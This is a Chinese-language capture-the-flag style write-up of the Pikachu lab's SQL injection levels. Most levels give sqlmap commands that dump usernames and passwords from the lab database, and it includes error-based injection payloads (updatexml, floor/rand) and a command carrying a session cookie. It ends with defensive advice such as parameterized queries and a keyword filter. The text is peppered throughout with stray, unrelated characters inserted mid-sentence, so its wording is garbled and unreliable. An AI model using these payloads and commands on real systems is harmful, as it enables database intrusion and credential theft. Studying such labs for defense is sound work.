0x01 簡介
SQL注入漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺處理時秧耗,沒有做嚴(yán)格的判斷备籽,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當(dāng)作SQL語句的一部分執(zhí)行。 從而導(dǎo)致數(shù)據(jù)庫受損(被脫褲车猬、被刪除霉猛、甚至整個服務(wù)器權(quán)限淪陷)。
0x02 數(shù)字型注入(POST)
SQL注入的手工注入已經(jīng)在之前的DVWA靶場中做過詳細的介紹了珠闰,因此皮卡丘靶場將使用sqlmap進行通關(guān)惜浅。POST請求方法并不會將正文體現(xiàn)在URL中,因此常規(guī)測試方法應(yīng)該是使用BurpSuite進行抓包伏嗜,然后到Repeater模塊修改參數(shù)值進行注入點判斷以及payload構(gòu)造坛悉。
首先在BurpSuite中安裝CO2這個插件,然后將POST抓下來之后承绸,右鍵選擇Send To SQLMapper
點擊run
基本信息跑出來了
跑庫名
庫名為pikachu
跑表名
表名為 member裸影、httpinfo、message军熏、users 轩猩、xssblind
跑users表中的列名
列名為level、id荡澎、password均践、username
查詢username和password
OK~
0x03 字符型注入(GET)
cmd中輸入語句
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
可以看到數(shù)據(jù)庫類型是MySQL,版本是大于5.6摩幔。
庫名為pikachu
cmd中輸入語句跑表名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables -batch
跑users表中的列名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
跑users表中的username和password數(shù)據(jù)
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "username,password" --dump --batch
收工~
0x04 搜索型注入
搜索型SQL注入與其他類型大同小異彤委,無非是注意是否需要%進行閉合而已。
操作步驟與關(guān)卡相同或衡。
0x05 xx型注入
這一關(guān)的關(guān)卡叫xx型注入葫慎,沒明白是什么意思∞背瑁看了下提示,是跟閉合有關(guān)的艰额。那么是時候掏出我的判斷閉合絕技了澄港。
先使用單引號觀察頁面是否報錯,再使用雙引號觀察頁面是否報錯
結(jié)合以上信息柄沮,進行判斷:
1. 如果單引號頁面報錯回梧,雙引號頁面也報錯,那么該頁面為數(shù)字型注入祖搓,無需閉合
2. 如果單引號頁面報錯狱意,雙引號頁面不報錯
那么使用#注釋掉后面的SQL語句,如果頁面不報錯拯欧,則該頁面為單引號閉合
如果頁面仍然報錯详囤,則在單引號后面加括號,如本關(guān)的閉合為')。如果一個括號不夠藏姐,那就再加一個隆箩,同理還需考慮花括號}和百分號%
3.如果單引號頁面不報錯,雙引號頁面報錯
那么使用#注釋掉后面的SQL語句羔杨,如果頁面不報錯捌臊,則該頁面為雙引號閉合
如果頁面仍然報錯,則在單引號后面加括號兜材。如果一個括號不夠理澎,那就再加一個真慢,同理還需考慮花括號}和百分號%
sqlmap直接跑一下就好了榆综,步驟跟前面的關(guān)卡一樣
0x06 insert/update注入
看到這一對關(guān)鍵詞,猜測是二次注入携冤。點了下提示卵皂,讓自己先注冊一個賬號秩铆,那確定了是二次注入,二次注入是繞過GPC的一個非常有用的注入方法灯变。
這里先注冊一個' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
的用戶殴玛,可以看到直接通過報錯注入的語句爆出了表名
因為前面幾關(guān)已經(jīng)知道了表名列名,這里直接構(gòu)造報錯語句注出數(shù)據(jù)就好了添祸。
'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
0x07 delete注入
關(guān)卡界面是一個留言板滚粟,隨便輸入點內(nèi)容后抓包看看。
這里是可能存在注入的刃泌,發(fā)到repeater里試一下凡壤。
響應(yīng)包的長度是不一樣的,所以這里應(yīng)該是個注入點耙替,就不手工注入了亚侠,直接上sqlmap
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_del.php?id=468" -D pikachu -T users -C "username,password" --dump --batch
0x08 http頭注入
這幾個關(guān)卡其實原理都一樣,只是在變換注入點而已俗扇。只要理解了注入產(chǎn)生的原理硝烂,過關(guān)還是很簡單的。對于我這種新手來說铜幽,在所有看起來可能與數(shù)據(jù)庫產(chǎn)生交互的地方都試一下就好滞谢。
兩個響應(yīng)包的大小不一樣,所以我感覺這里存在注入除抛,在確定下狮杨。
用and 1=1 和and 1=2 確定了該處存在SQL注入,并且使用單引號閉合到忽。
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_header/sqli_header.php" --cookie "ant[uname]=admin;ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;PHPSESSID=9h01amnpbjpmm60m17fjjkc6e3" -D pikachu -T users -C "username,password" -dump --batch --level 2
0x09 基于boolian的盲注
盲注是最適合使用工具來跑結(jié)果的橄教,因為頁面沒有直觀的回顯,所以需要一個字符一個字符的進行猜解。盲注的注入點判斷過程與之前一致颤陶,只是在進行字符的猜解時颗管,我一般是使用ASCII編碼來對字符進行編碼,這樣可以不使用單引號滓走。
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users- C "username,password" --dump --batch
0x10 基于時間的盲注
基于時間的盲注與布爾盲注原理差不多垦江,布爾盲注是頁面會返回正確與否的值,而時間盲注則是利用sleep函數(shù)來令頁面延遲返回搅方,都給了我們判斷返回結(jié)果正確與否的方式比吭。
sqlmap -u "[Get the pikachu](http://192.168.31.86/06/vul/sqli/sqli_blind_t.php?name=12&submit=%E6%9F%A5%E8%AF%A2) " -D pikachu -T users- C "username,password" --dump --batch
0x11 寬字節(jié)注入
寬字節(jié)也是繞過GPC的方式之一。在BIG5和GBK編碼中姨涡,兩個字節(jié)代表一個漢字衩藤,因此我們可以在%5c也就是/前面加上一個額外的編碼如%df,來使mysql認為我們輸入了%df%5c涛漂,從而把%5c吃掉赏表,構(gòu)造成了一個漢字。
使用了類似語句構(gòu)造payload就OK了匈仗。
0x12 總結(jié)
- 使用預(yù)編譯語句瓢剿,使用PDO需要注意不要將變量直接拼接到PDO語句中。所有的查詢語句都使用數(shù)據(jù)庫提供的參數(shù)化查詢接口悠轩,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中间狂。當(dāng)前幾乎所有的數(shù)據(jù)庫系統(tǒng)都提供了參數(shù)化SQL語句執(zhí)行接口,使用此接口可以非常有效的防止SQL注入攻擊火架。
- 對進入數(shù)據(jù)庫的特殊字符(’”<>&*;等)進行轉(zhuǎn)義處理鉴象,或編碼轉(zhuǎn)換。
- 確認每種數(shù)據(jù)的類型何鸡,比如數(shù)字型的數(shù)據(jù)就必須是數(shù)字纺弊,數(shù)據(jù)庫中的存儲字段必須對應(yīng)為int型。
- 數(shù)據(jù)長度應(yīng)該嚴(yán)格規(guī)定骡男,能在一定程度上防止比較長的SQL注入語句無法正確執(zhí)行俭尖。
- 網(wǎng)站每個數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用UTF-8編碼洞翩,上下層編碼不一致有可能導(dǎo)致一些過濾模型被繞過。
- 嚴(yán)格限制網(wǎng)站用戶的數(shù)據(jù)庫的操作權(quán)限焰望,給此用戶提供僅僅能夠滿足其工作的權(quán)限骚亿,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害。
- 避免網(wǎng)站顯示SQL錯誤信息熊赖,比如類型錯誤来屠、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
- 過濾危險字符俱笛,例如:采用正則表達式匹配union捆姜、sleep、and迎膜、select泥技、load_file等關(guān)鍵字,如果匹配到則終止運行磕仅。
本文僅為個人學(xué)習(xí)時所作筆記珊豹,非標(biāo)準(zhǔn)答案,文中如有錯誤榕订,煩請各位師傅批評指正店茶。